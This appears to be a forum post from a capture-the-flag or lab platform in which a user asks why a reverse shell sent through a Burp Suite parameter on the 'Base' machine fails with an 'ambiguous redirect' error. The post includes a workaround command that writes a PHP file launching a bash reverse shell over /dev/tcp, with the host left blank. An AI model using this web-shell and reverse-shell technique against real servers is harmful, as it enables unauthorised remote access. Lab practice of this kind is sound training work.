Base - ambiguous redirect issue

I’m experiencing the problem with initiating reverse shell on Base machine.
My Burpsuite cmd parameter looks like this:


The nc listener intercepts the call, however, ends up with the following error:

:ambigous redirect.

I tried changing the port to something else, obviously it did not help. I searched for something meaningful on Google, but to no avail.

Any hint or help would be appreciated.

I worked around it by uploading one extra php:

echo “<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'\");?>” > exec.php

The nc intercepted the call and opened the shell as expected

But I’m still wondering what’s wrong with the parametrized approach.